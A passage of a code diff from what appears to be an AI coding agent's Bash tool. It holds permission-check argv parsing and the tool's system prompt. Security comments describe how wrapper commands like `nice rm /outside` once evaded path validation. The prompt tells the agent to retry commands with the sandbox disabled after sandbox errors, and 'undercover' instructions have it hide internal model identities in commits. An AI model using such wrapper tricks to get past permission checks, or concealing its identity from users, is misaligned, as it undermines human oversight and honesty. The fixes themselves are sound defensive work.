+ const next = a[i + 1]
1188
+ if (
1189
+ arg === '--foreground' ||
1190
+ arg === '--preserve-status' ||
1191
+ arg === '--verbose'
1192
+ )
1193
+ i++
1194
+ else if (/^--(?:kill-after|signal)=[A-Za-z0-9_.+-]+$/.test(arg)) i++
1195
+ else if (
1196
+ (arg === '--kill-after' || arg === '--signal') &&
1197
+ next &&
1198
+ TIMEOUT_FLAG_VALUE_RE.test(next)
1199
+ )
1200
+ i += 2
1201
+ else if (arg === '--') {
1202
+ i++
1203
+ break
1204
+ } // end-of-options marker
1205
+ else if (arg.startsWith('--')) return -1
1206
+ else if (arg === '-v') i++
1207
+ else if (
1208
+ (arg === '-k' || arg === '-s') &&
1209
+ next &&
1210
+ TIMEOUT_FLAG_VALUE_RE.test(next)
1211
+ )
1212
+ i += 2
1213
+ else if (/^-[ks][A-Za-z0-9_.+-]+$/.test(arg)) i++
1214
+ else if (arg.startsWith('-')) return -1
1215
+ else break
1216
+ }
1217
+ return i
1218
+ }
1219
+
1220
+ /**
1221
+ * Parse stdbuf's flags (-i/-o/-e in fused/space-separated/long-= forms).
1222
+ * Returns argv index of wrapped COMMAND, or -1 if unparseable or no flags
1223
+ * consumed (stdbuf without flags is inert). Mirrors checkSemantics (ast.ts).
1224
+ */
1225
+ function skipStdbufFlags(a: readonly string[]): number {
1226
+ let i = 1
1227
+ while (i < a.length) {
1228
+ const arg = a[i]!
1229
+ if (/^-[ioe]$/.test(arg) && a[i + 1]) i += 2
1230
+ else if (/^-[ioe]./.test(arg)) i++
1231
+ else if (/^--(input|output|error)=/.test(arg)) i++
1232
+ else if (arg.startsWith('-'))
1233
+ return -1 // unknown flag: fail closed
1234
+ else break
1235
+ }
1236
+ return i > 1 && i < a.length ? i : -1
1237
+ }
1238
+
1239
+ /**
1240
+ * Parse env's VAR=val and safe flags (-i/-0/-v/-u NAME). Returns argv index
1241
+ * of wrapped COMMAND, or -1 if unparseable/no wrapped cmd. Rejects -S (argv
1242
+ * splitter), -C/-P (altwd/altpath). Mirrors checkSemantics (ast.ts).
1243
+ */
1244
+ function skipEnvFlags(a: readonly string[]): number {
1245
+ let i = 1
1246
+ while (i < a.length) {
1247
+ const arg = a[i]!
1248
+ if (arg.includes('=') && !arg.startsWith('-')) i++
1249
+ else if (arg === '-i' || arg === '-0' || arg === '-v') i++
1250
+ else if (arg === '-u' && a[i + 1]) i += 2
1251
+ else if (arg.startsWith('-'))
1252
+ return -1 // -S/-C/-P/unknown: fail closed
1253
+ else break
1254
+ }
1255
+ return i < a.length ? i : -1
1256
+ }
1257
+
1258
+ /**
1259
+ * Argv-level counterpart to stripSafeWrappers (bashPermissions.ts). Strips
1260
+ * wrapper commands from AST-derived argv. Env vars are already separated
1261
+ * into SimpleCommand.envVars so no env-var stripping here.
1262
+ */
1263
+ export function stripWrappersFromArgv(argv: string[]): string[] {
1264
+ let a = argv
1265
+ for (;;) {
1266
+ if (a[0] === 'time' || a[0] === 'nohup') {
1267
+ a = a.slice(a[1] === '--' ? 2 : 1)
1268
+ } else if (a[0] === 'timeout') {
1269
+ const i = skipTimeoutFlags(a)
1270
+ // SECURITY (PR #21503 round 3): unrecognized duration (`.5`, `+5`,
1271
+ // `inf` — strtod formats GNU timeout accepts) → return a unchanged.
1272
+ // Safe because checkSemantics (ast.ts) fails CLOSED on the same input
1273
+ // and runs first in bashToolHasPermission, so we never reach here.
1274
+ if (i < 0 || !a[i] || !/^\d+(?:\.\d+)?[smhd]?$/.test(a[i]!)) return a
1275
+ a = a.slice(i + 1)
1276
+ } else if (a[0] === 'nice') {
1277
+ // SECURITY (PR #21503 round 3): mirror checkSemantics — handle bare
1278
+ // `nice cmd` and legacy `nice -N cmd`, not just `nice -n N cmd`.
1279
+ // Previously only `-n N` was stripped: `nice rm /outside` →
1280
+ // baseCmd='nice' → passthrough → /outside never path-validated.
1281
+ if (a[1] === '-n' && a[2] && /^-?\d+$/.test(a[2]))
1282
+ a = a.slice(a[3] === '--' ? 4 : 3)
1283
+ else if (a[1] && /^-\d+$/.test(a[1])) a = a.slice(a[2] === '--' ? 3 : 2)
1284
+ else a = a.slice(a[1] === '--' ? 2 : 1)
1285
+ } else if (a[0] === 'stdbuf') {
1286
+ // SECURITY (PR #21503 round 3): PR-WIDENED. Pre-PR, `stdbuf -o0 -eL rm`
1287
+ // was rejected by fragment check (old checkSemantics slice(2) left
1288
+ // name='-eL'). Post-PR, checkSemantics strips both flags → name='rm'
1289
+ // → passes. But stripWrappersFromArgv returned unchanged →
1290
+ // baseCmd='stdbuf' → not in SUPPORTED_PATH_COMMANDS → passthrough.
1291
+ const i = skipStdbufFlags(a)
1292
+ if (i < 0) return a
1293
+ a = a.slice(i)
1294
+ } else if (a[0] === 'env') {
1295
+ // Same asymmetry: checkSemantics strips env, we didn't.
1296
+ const i = skipEnvFlags(a)
1297
+ if (i < 0) return a
1298
+ a = a.slice(i)
1299
+ } else {
1300
+ return a
1301
+ }
1302
+ }
1303
+ }
src/tools/BashTool/prompt.ts ADDED
@@ -0,0 +1,369 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { feature } from 'bun:bundle'
2
+ import { prependBullets } from '../../constants/prompts.js'
3
+ import { getAttributionTexts } from '../../utils/attribution.js'
4
+ import { hasEmbeddedSearchTools } from '../../utils/embeddedTools.js'
5
+ import { isEnvTruthy } from '../../utils/envUtils.js'
6
+ import { shouldIncludeGitInstructions } from '../../utils/gitSettings.js'
7
+ import { getClaudeTempDir } from '../../utils/permissions/filesystem.js'
8
+ import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
9
+ import { jsonStringify } from '../../utils/slowOperations.js'
10
+ import {
11
+ getDefaultBashTimeoutMs,
12
+ getMaxBashTimeoutMs,
13
+ } from '../../utils/timeouts.js'
14
+ import {
15
+ getUndercoverInstructions,
16
+ isUndercover,
17
+ } from '../../utils/undercover.js'
18
+ import { AGENT_TOOL_NAME } from '../AgentTool/constants.js'
19
+ import { FILE_EDIT_TOOL_NAME } from '../FileEditTool/constants.js'
20
+ import { FILE_READ_TOOL_NAME } from '../FileReadTool/prompt.js'
21
+ import { FILE_WRITE_TOOL_NAME } from '../FileWriteTool/prompt.js'
22
+ import { GLOB_TOOL_NAME } from '../GlobTool/prompt.js'
23
+ import { GREP_TOOL_NAME } from '../GrepTool/prompt.js'
24
+ import { TodoWriteTool } from '../TodoWriteTool/TodoWriteTool.js'
25
+ import { BASH_TOOL_NAME } from './toolName.js'
26
+
27
+ export function getDefaultTimeoutMs(): number {
28
+ return getDefaultBashTimeoutMs()
29
+ }
30
+
31
+ export function getMaxTimeoutMs(): number {
32
+ return getMaxBashTimeoutMs()
33
+ }
34
+
35
+ function getBackgroundUsageNote(): string | null {
36
+ if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_BACKGROUND_TASKS)) {
37
+ return null
38
+ }
39
+ return "You can use the `run_in_background` parameter to run the command in the background. Only use this if you don't need the result immediately and are OK being notified when the command completes later. You do not need to check the output right away - you'll be notified when it finishes. You do not need to use '&' at the end of the command when using this parameter."
40
+ }
41
+
42
+ function getCommitAndPRInstructions(): string {
43
+ // Defense-in-depth: undercover instructions must survive even if the user
44
+ // has disabled git instructions entirely. Attribution stripping and model-ID
45
+ // hiding are mechanical and work regardless, but the explicit "don't blow
46
+ // your cover" instructions are the last line of defense against the model
47
+ // volunteering an internal codename in a commit message.
48
+ const undercoverSection =
49
+ process.env.USER_TYPE === 'ant' && isUndercover()
50
+ ? getUndercoverInstructions() + '\n'
51
+ : ''
52
+
53
+ if (!shouldIncludeGitInstructions()) return undercoverSection
54
+
55
+ // For ant users, use the short version pointing to skills
56
+ if (process.env.USER_TYPE === 'ant') {
57
+ const skillsSection = !isEnvTruthy(process.env.CLAUDE_CODE_SIMPLE)
58
+ ? `For git commits and pull requests, use the \`/commit\` and \`/commit-push-pr\` skills:
59
+ - \`/commit\` - Create a git commit with staged changes
60
+ - \`/commit-push-pr\` - Commit, push, and create a pull request
61
+
62
+ These skills handle git safety protocols, proper commit message formatting, and PR creation.
63
+
64
+ Before creating a pull request, run \`/simplify\` to review your changes, then test end-to-end (e.g. via \`/tmux\` for interactive features).
65
+
66
+ `
67
+ : ''
68
+ return `${undercoverSection}# Git operations
69
+
70
+ ${skillsSection}IMPORTANT: NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it.
71
+
72
+ Use the gh command via the Bash tool for other GitHub-related tasks including working with issues, checks, and releases. If given a Github URL use the gh command to get the information needed.
73
+
74
+ # Other common operations
75
+ - View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
76
+ }
77
+
78
+ // For external users, include full inline instructions
79
+ const { commit: commitAttribution, pr: prAttribution } = getAttributionTexts()
80
+
81
+ return `# Committing changes with git
82
+
83
+ Only create commits when requested by the user. If unclear, ask first. When the user asks you to create a new git commit, follow these steps carefully:
84
+
85
+ You can call multiple tools in a single response. When multiple independent pieces of information are requested and all commands are likely to succeed, run multiple tool calls in parallel for optimal performance. The numbered steps below indicate which commands should be batched in parallel.
86
+
87
+ Git Safety Protocol:
88
+ - NEVER update the git config
89
+ - NEVER run destructive git commands (push --force, reset --hard, checkout ., restore ., clean -f, branch -D) unless the user explicitly requests these actions. Taking unauthorized destructive actions is unhelpful and can result in lost work, so it's best to ONLY run these commands when given direct instructions
90
+ - NEVER skip hooks (--no-verify, --no-gpg-sign, etc) unless the user explicitly requests it
91
+ - NEVER run force push to main/master, warn the user if they request it
92
+ - CRITICAL: Always create NEW commits rather than amending, unless the user explicitly requests a git amend. When a pre-commit hook fails, the commit did NOT happen — so --amend would modify the PREVIOUS commit, which may result in destroying work or losing previous changes. Instead, after hook failure, fix the issue, re-stage, and create a NEW commit
93
+ - When staging files, prefer adding specific files by name rather than using "git add -A" or "git add .", which can accidentally include sensitive files (.env, credentials) or large binaries
94
+ - NEVER commit changes unless the user explicitly asks you to. It is VERY IMPORTANT to only commit when explicitly asked, otherwise the user will feel that you are being too proactive
95
+
96
+ 1. Run the following bash commands in parallel, each using the ${BASH_TOOL_NAME} tool:
97
+ - Run a git status command to see all untracked files. IMPORTANT: Never use the -uall flag as it can cause memory issues on large repos.
98
+ - Run a git diff command to see both staged and unstaged changes that will be committed.
99
+ - Run a git log command to see recent commit messages, so that you can follow this repository's commit message style.
100
+ 2. Analyze all staged changes (both previously staged and newly added) and draft a commit message:
101
+ - Summarize the nature of the changes (eg. new feature, enhancement to an existing feature, bug fix, refactoring, test, docs, etc.). Ensure the message accurately reflects the changes and their purpose (i.e. "add" means a wholly new feature, "update" means an enhancement to an existing feature, "fix" means a bug fix, etc.).
102
+ - Do not commit files that likely contain secrets (.env, credentials.json, etc). Warn the user if they specifically request to commit those files
103
+ - Draft a concise (1-2 sentences) commit message that focuses on the "why" rather than the "what"
104
+ - Ensure it accurately reflects the changes and their purpose
105
+ 3. Run the following commands in parallel:
106
+ - Add relevant untracked files to the staging area.
107
+ - Create the commit with a message${commitAttribution ? ` ending with:\n ${commitAttribution}` : '.'}
108
+ - Run git status after the commit completes to verify success.
109
+ Note: git status depends on the commit completing, so run it sequentially after the commit.
110
+ 4. If the commit fails due to pre-commit hook: fix the issue and create a NEW commit
111
+
112
+ Important notes:
113
+ - NEVER run additional commands to read or explore code, besides git bash commands
114
+ - NEVER use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
115
+ - DO NOT push to the remote repository unless the user explicitly asks you to do so
116
+ - IMPORTANT: Never use git commands with the -i flag (like git rebase -i or git add -i) since they require interactive input which is not supported.
117
+ - IMPORTANT: Do not use --no-edit with git rebase commands, as the --no-edit flag is not a valid option for git rebase.
118
+ - If there are no changes to commit (i.e., no untracked files and no modifications), do not create an empty commit
119
+ - In order to ensure good formatting, ALWAYS pass the commit message via a HEREDOC, a la this example:
120
+ <example>
121
+ git commit -m "$(cat <<'EOF'
122
+ Commit message here.${commitAttribution ? `\n\n ${commitAttribution}` : ''}
123
+ EOF
124
+ )"
125
+ </example>
126
+
127
+ # Creating pull requests
128
+ Use the gh command via the Bash tool for ALL GitHub-related tasks including working with issues, pull requests, checks, and releases. If given a Github URL use the gh command to get the information needed.
129
+
130
+ IMPORTANT: When the user asks you to create a pull request, follow these steps carefully:
131
+
132
+ 1. Run the following bash commands in parallel using the ${BASH_TOOL_NAME} tool, in order to understand the current state of the branch since it diverged from the main branch:
133
+ - Run a git status command to see all untracked files (never use -uall flag)
134
+ - Run a git diff command to see both staged and unstaged changes that will be committed
135
+ - Check if the current branch tracks a remote branch and is up to date with the remote, so you know if you need to push to the remote
136
+ - Run a git log command and \`git diff [base-branch]...HEAD\` to understand the full commit history for the current branch (from the time it diverged from the base branch)
137
+ 2. Analyze all changes that will be included in the pull request, making sure to look at all relevant commits (NOT just the latest commit, but ALL commits that will be included in the pull request!!!), and draft a pull request title and summary:
138
+ - Keep the PR title short (under 70 characters)
139
+ - Use the description/body for details, not the title
140
+ 3. Run the following commands in parallel:
141
+ - Create new branch if needed
142
+ - Push to remote with -u flag if needed
143
+ - Create PR using gh pr create with the format below. Use a HEREDOC to pass the body to ensure correct formatting.
144
+ <example>
145
+ gh pr create --title "the pr title" --body "$(cat <<'EOF'
146
+ ## Summary
147
+ <1-3 bullet points>
148
+
149
+ ## Test plan
150
+ [Bulleted markdown checklist of TODOs for testing the pull request...]${prAttribution ? `\n\n${prAttribution}` : ''}
151
+ EOF
152
+ )"
153
+ </example>
154
+
155
+ Important:
156
+ - DO NOT use the ${TodoWriteTool.name} or ${AGENT_TOOL_NAME} tools
157
+ - Return the PR URL when you're done, so the user can see it
158
+
159
+ # Other common operations
160
+ - View comments on a Github PR: gh api repos/foo/bar/pulls/123/comments`
161
+ }
162
+
163
+ // SandboxManager merges config from multiple sources (settings layers, defaults,
164
+ // CLI flags) without deduping, so paths like ~/.cache appear 3× in allowOnly.
165
+ // Dedup here before inlining into the prompt — affects only what the model sees,
166
+ // not sandbox enforcement. Saves ~150-200 tokens/request when sandbox is enabled.
167
+ function dedup<T>(arr: T[] | undefined): T[] | undefined {
168
+ if (!arr || arr.length === 0) return arr
169
+ return [...new Set(arr)]
170
+ }
171
+
172
+ function getSimpleSandboxSection(): string {
173
+ if (!SandboxManager.isSandboxingEnabled()) {
174
+ return ''
175
+ }
176
+
177
+ const fsReadConfig = SandboxManager.getFsReadConfig()
178
+ const fsWriteConfig = SandboxManager.getFsWriteConfig()
179
+ const networkRestrictionConfig = SandboxManager.getNetworkRestrictionConfig()
180
+ const allowUnixSockets = SandboxManager.getAllowUnixSockets()
181
+ const ignoreViolations = SandboxManager.getIgnoreViolations()
182
+ const allowUnsandboxedCommands =
183
+ SandboxManager.areUnsandboxedCommandsAllowed()
184
+
185
+ // Replace the per-UID temp dir literal (e.g. /private/tmp/claude-1001/) with
186
+ // "$TMPDIR" so the prompt is identical across users — avoids busting the
187
+ // cross-user global prompt cache. The sandbox already sets $TMPDIR at runtime.
188
+ const claudeTempDir = getClaudeTempDir()
189
+ const normalizeAllowOnly = (paths: string[]): string[] =>
190
+ [...new Set(paths)].map(p => (p === claudeTempDir ? '$TMPDIR' : p))
191
+
192
+ const filesystemConfig = {
193
+ read: {
194
+ denyOnly: dedup(fsReadConfig.denyOnly),
195
+ ...(fsReadConfig.allowWithinDeny && {
196
+ allowWithinDeny: dedup(fsReadConfig.allowWithinDeny),
197
+ }),
198
+ },
199
+ write: {
200
+ allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
201
+ denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
202
+ },
203
+ }
204
+
205
+ const networkConfig = {
206
+ ...(networkRestrictionConfig?.allowedHosts && {
207
+ allowedHosts: dedup(networkRestrictionConfig.allowedHosts),
208
+ }),
209
+ ...(networkRestrictionConfig?.deniedHosts && {
210
+ deniedHosts: dedup(networkRestrictionConfig.deniedHosts),
211
+ }),
212
+ ...(allowUnixSockets && { allowUnixSockets: dedup(allowUnixSockets) }),
213
+ }
214
+
215
+ const restrictionsLines = []
216
+ if (Object.keys(filesystemConfig).length > 0) {
217
+ restrictionsLines.push(`Filesystem: ${jsonStringify(filesystemConfig)}`)
218
+ }
219
+ if (Object.keys(networkConfig).length > 0) {
220
+ restrictionsLines.push(`Network: ${jsonStringify(networkConfig)}`)
221
+ }
222
+ if (ignoreViolations) {
223
+ restrictionsLines.push(
224
+ `Ignored violations: ${jsonStringify(ignoreViolations)}`,
225
+ )
226
+ }
227
+
228
+ const sandboxOverrideItems: Array<string | string[]> =
229
+ allowUnsandboxedCommands
230
+ ? [
231
+ 'You should always default to running commands within the sandbox. Do NOT attempt to set `dangerouslyDisableSandbox: true` unless:',
232
+ [
233
+ 'The user *explicitly* asks you to bypass sandbox',
234
+ 'A specific command just failed and you see evidence of sandbox restrictions causing the failure. Note that commands can fail for many reasons unrelated to the sandbox (missing files, wrong arguments, network issues, etc.).',
235
+ ],
236
+ 'Evidence of sandbox-caused failures includes:',
237
+ [
238
+ '"Operation not permitted" errors for file/network operations',
239
+ 'Access denied to specific paths outside allowed directories',
240
+ 'Network connection failures to non-whitelisted hosts',
241
+ 'Unix socket connection errors',
242
+ ],
243
+ 'When you see evidence of sandbox-caused failure:',
244
+ [
245
+ "Immediately retry with `dangerouslyDisableSandbox: true` (don't ask, just do it)",
246
+ 'Briefly explain what sandbox restriction likely caused the failure. Be sure to mention that the user can use the `/sandbox` command to manage restrictions.',
247
+ 'This will prompt the user for permission',
248
+ ],
249
+ 'Treat each command you execute with `dangerouslyDisableSandbox: true` individually. Even if you have recently run a command with this setting, you should default to running future commands within the sandbox.',
250
+ 'Do not suggest adding sensitive paths like ~/.bashrc, ~/.zshrc, ~/.ssh/*, or credential files to the sandbox allowlist.',
251
+ ]
252
+ : [
253
+ 'All commands MUST run in sandbox mode - the `dangerouslyDisableSandbox` parameter is disabled by policy.',
254
+ 'Commands cannot run outside the sandbox under any circumstances.',
255
+ 'If a command fails due to sandbox restrictions, work with the user to adjust sandbox settings instead.',
256
+ ]
257
+
258
+ const items: Array<string | string[]> = [
259
+ ...sandboxOverrideItems,
260
+ 'For temporary files, always use the `$TMPDIR` environment variable. TMPDIR is automatically set to the correct sandbox-writable directory in sandbox mode. Do NOT use `/tmp` directly - use `$TMPDIR` instead.',
261
+ ]
262
+
263
+ return [
264
+ '',
265
+ '## Command sandbox',
266
+ 'By default, your command will be run in a sandbox. This sandbox controls which directories and network hosts commands may access or modify without an explicit override.',
267
+ '',
268
+ 'The sandbox has the following restrictions:',
269
+ restrictionsLines.join('\n'),
270
+ '',
271
+ ...prependBullets(items),
272
+ ].join('\n')
273
+ }
274
+
275
+ export function getSimplePrompt(): string {
276
+ // Ant-native builds alias find/grep to embedded bfs/ugrep in Claude's shell,
277
+ // so we don't steer away from them (and Glob/Grep tools are removed).
278
+ const embedded = hasEmbeddedSearchTools()
279
+
280
+ const toolPreferenceItems = [
281
+ ...(embedded
282
+ ? []
283
+ : [
284
+ `File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
285
+ `Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
286
+ ]),
287
+ `Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
288
+ `Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
289
+ `Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
290
+ 'Communication: Output text directly (NOT echo/printf)',
291
+ ]
292
+
293
+ const avoidCommands = embedded
294
+ ? '`cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
295
+ : '`find`, `grep`, `cat`, `head`, `tail`, `sed`, `awk`, or `echo`'
296
+
297
+ const multipleCommandsSubitems = [
298
+ `If the commands are independent and can run in parallel, make multiple ${BASH_TOOL_NAME} tool calls in a single message. Example: if you need to run "git status" and "git diff", send a single message with two ${BASH_TOOL_NAME} tool calls in parallel.`,
299
+ `If the commands depend on each other and must run sequentially, use a single ${BASH_TOOL_NAME} call with '&&' to chain them together.`,
300
+ "Use ';' only when you need to run commands sequentially but don't care if earlier commands fail.",
301
+ 'DO NOT use newlines to separate commands (newlines are ok in quoted strings).',
302
+ ]
303
+
304
+ const gitSubitems = [
305
+ 'Prefer to create a new commit rather than amending an existing commit.',
306
+ 'Before running destructive operations (e.g., git reset --hard, git push --force, git checkout --), consider whether there is a safer alternative that achieves the same goal. Only use destructive operations when they are truly the best approach.',
307
+ 'Never skip hooks (--no-verify) or bypass signing (--no-gpg-sign, -c commit.gpgsign=false) unless the user has explicitly asked for it. If a hook fails, investigate and fix the underlying issue.',
308
+ ]
309
+
310
+ const sleepSubitems = [
311
+ 'Do not sleep between commands that can run immediately — just run them.',
312
+ ...(feature('MONITOR_TOOL')
313
+ ? [
314
+ 'Use the Monitor tool to stream events from a background process (each stdout line is a notification). For one-shot "wait until done," use Bash with run_in_background instead.',
315
+ ]
316
+ : []),
317
+ 'If your command is long running and you would like to be notified when it finishes — use `run_in_background`. No sleep needed.',
318
+ 'Do not retry failing commands in a sleep loop — diagnose the root cause.',
319
+ 'If waiting for a background task you started with `run_in_background`, you will be notified when it completes — do not poll.',
320
+ ...(feature('MONITOR_TOOL')
321
+ ? [
322
+ '`sleep N` as the first command with N ≥ 2 is blocked. If you need a delay (rate limiting, deliberate pacing), keep it under 2 seconds.',
323
+ ]
324
+ : [
325
+ 'If you must poll an external process, use a check command (e.g. `gh run view`) rather than sleeping first.',
326
+ 'If you must sleep, keep the duration short (1-5 seconds) to avoid blocking the user.',
327
+ ]),
328
+ ]
329
+ const backgroundNote = getBackgroundUsageNote()
330
+
331
+ const instructionItems: Array<string | string[]> = [
332
+ 'If your command will create new directories or files, first use this tool to run `ls` to verify the parent directory exists and is the correct location.',
333
+ 'Always quote file paths that contain spaces with double quotes in your command (e.g., cd "path with spaces/file.txt")',
334
+ 'Try to maintain your current working directory throughout the session by using absolute paths and avoiding usage of `cd`. You may use `cd` if the User explicitly requests it.',
335
+ `You may specify an optional timeout in milliseconds (up to ${getMaxTimeoutMs()}ms / ${getMaxTimeoutMs() / 60000} minutes). By default, your command will timeout after ${getDefaultTimeoutMs()}ms (${getDefaultTimeoutMs() / 60000} minutes).`,
336
+ ...(backgroundNote !== null ? [backgroundNote] : []),
337
+ 'When issuing multiple commands:',
338
+ multipleCommandsSubitems,
339
+ 'For git commands:',
340
+ gitSubitems,
341
+ 'Avoid unnecessary `sleep` commands:',
342
+ sleepSubitems,
343
+ ...(embedded
344
+ ? [
345
+ // bfs (which backs `find`) uses Oniguruma for -regex, which picks the
346
+ // FIRST matching alternative (leftmost-first), unlike GNU find's
347
+ // POSIX leftmost-longest. This silently drops matches when a shorter
348
+ // alternative is a prefix of a longer one.
349
+ "When using `find -regex` with alternation, put the longest alternative first. Example: use `'.*\\.\\(tsx\\|ts\\)'` not `'.*\\.\\(ts\\|tsx\\)'` — the second form silently skips `.tsx` files.",
350
+ ]
351
+ : []),
352
+ ]
353
+
354
+ return [
355
+ 'Executes a given bash command and returns its output.',
356
+ '',
357
+ "The working directory persists between commands, but shell state does not. The shell environment is initialized from the user's profile (bash or zsh).",
358
+ '',
359
+ `IMPORTANT: Avoid using this tool to run ${avoidCommands} commands, unless explicitly instructed or after you have verified that a dedicated tool cannot accomplish your task. Instead, use the appropriate dedicated tool as this will provide a much better experience for the user:`,
360
+ '',
361
+ ...prependBullets(toolPreferenceItems),
362
+ `While the ${BASH_TOOL_NAME} tool can do similar things, it’s better to use the built-in tools as they provide a better user experience and make it easier to review tool calls and give permission.`,
363
+ '',
364
+ '# Instructions',
365
+ ...prependBullets(instructionItems),
366
+ getSimpleSandboxSection(),
367
+ ...(getCommitAndPRInstructions() ? ['', getCommitAndPRInstructions()] : []),
368
+ ].join('\n')
369
+ }
src/tools/BashTool/readOnlyValidation.ts ADDED
@@ -0,0 +1,1990 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
